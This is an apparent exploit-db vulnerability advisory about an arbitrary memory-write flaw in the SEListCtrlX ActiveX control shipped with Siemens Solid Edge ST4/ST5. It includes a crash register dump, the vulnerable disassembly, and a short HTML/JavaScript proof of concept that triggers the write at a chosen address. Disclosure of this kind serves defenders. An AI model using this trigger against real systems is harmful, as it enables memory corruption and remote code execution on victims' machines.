SIEMENS Solid Edge ST4/ST5 SEListCtrlX – ActiveX SetItemReadOnly Arbitrary Memory Rewrite Remote Code Execution

  • 作者： rgod
    日期： 2013-05-26
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/25712/
  • SIEMENS Solid Edge ST4/ST5 SEListCtrlX ActiveX Control SetItemReadOnly
Arbitrary Memory Rewrite Remote Code Execution Vulnerability

tested against: Microsoft Windows Server 2003 r2 sp2
Microsoft Windows XP sp3
Microsoft Windows 7
Internet Explorer 7/8

software description: http://en.wikipedia.org/wiki/Solid_Edge

vendor site: http://www.siemens.com/entry/cc/en/

download url: http://www.plm.automation.siemens.com/en_us/products/velocity/forms/solid-edge-student.cfm

file tested: SolidEdgeV104ENGLISH_32Bit.exe


background:

the mentioned software installs an ActiveX control with 
the following settings:

ActiveX settings:
ProgID: SELISTCTRLX.SEListCtrlXCtrl.1
CLSID: {5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D}
binary path: C:\Program Files\Solid Edge ST4\Program\SEListCtrlX.ocx
Safe For Scripting (Registry): True
Safe For Initialization (Registry): True

Vulnerability:

This control exposes the SetItemReadOnly() method, see typelib:

...
/* DISPID=14 */
	function SetItemReadOnly(
		/* VT_VARIANT [12]*/ $hItem,
		/* VT_BOOL [11]*/ $bReadOnly 
		)
	{
	}
...

(i)
By setting to a memory address the first argument
and the second one to 'false' you can write a NULL
byte inside an arbitrary memory region.

(ii)
By setting to a memory address the first argument
and the second one to 'true' you can write a \x08
byte inside an arbitrary memory region.

Example crash:

EAX 61616161
ECX 0417AB44
EDX 01B7F530
EBX 0000000C
ESP 01B7F548
EBP 01B7F548
ESI 0417A930
EDI 027D5DD0 SEListCt.027D5DD0
EIP 033FD158 control.033FD158
C 0ES 0023 32bit 0(FFFFFFFF)
P 1CS 001B 32bit 0(FFFFFFFF)
A 0SS 0023 32bit 0(FFFFFFFF)
Z 1DS 0023 32bit 0(FFFFFFFF)
S 0FS 003B 32bit 7FFD9000(4000)
T 0GS 0000 NULL
D 0
O 0LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty -NAN FFFF FFFFFFFF FFFFFFFF
ST1 empty 3.3760355862290856960e-4932
ST2 empty +UNORM 48F4 00000000 00000000
ST3 empty -2.4061003025887744000e+130
ST4 empty -UNORM C198 00000000 00000000
ST5 empty 0.0
ST6 empty 1633771873.0000000000
ST7 empty 1633771873.0000000000
 3 2 1 0E S P U O Z D I
FST 4000Cond 1 0 0 0Err 0 0 0 0 0 0 0 0(EQ)
FCW 027FPrec NEAR,53Mask1 1 1 1 1 1

Call stack of thread 000009B8
AddressStackProcedure / arguments Called from Frame
01B7F54C 027D5DF3 control.?SetItemReadOnly@SEListCtrl@@QAEXPAVSEListItem@@H@Z SEListCt.027D5DED 01B7F548
01B7F560 787FF820 Includes SEListCt.027D5DF3mfc100u.787FF81E01B7F55C
01B7F56C 78807BF5 mfc100u.787FF810mfc100u.78807BF001B7F618
01B7F61C 78808312 ? mfc100u.78807A5Bmfc100u.7880830D01B7F618



vulnerable code, inside the close control.dll:
...
;------------------------------------------------------------------------------
		Align	4
 ?SetItemReadOnly@SEListCtrl@@QAEXPAVSEListItem@@H@Z:
		push	ebp
		mov	ebp,esp
		mov	eax,[ebp+08h]
		test	eax,eax
		jz 	L1011D15C
		cmp	dword ptr [ebp+0Ch],00000000h
		jz 	L1011D158
		or	dword ptr [eax+2Ch],00000008h <-------------------- it crashes here
		pop	ebp
		retn	0008h
;------------------------------------------------------------------------------
...

...
;------------------------------------------------------------------------------
 L1011D158:
		and	dword ptr [eax+2Ch],FFFFFFF7h <-------------------- or here 
 L1011D15C:
		pop	ebp
		retn	0008h
;------------------------------------------------------------------------------
...

As attachment, code to reproduce the crash.



<!-- saved from url=(0014)about:internet -->
<html>
<object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' />
</object>
<script language='javascript'>
//obj.SetItemReadOnly(0x61616161,false); 
obj.SetItemReadOnly(0x61616161,true); 
</script>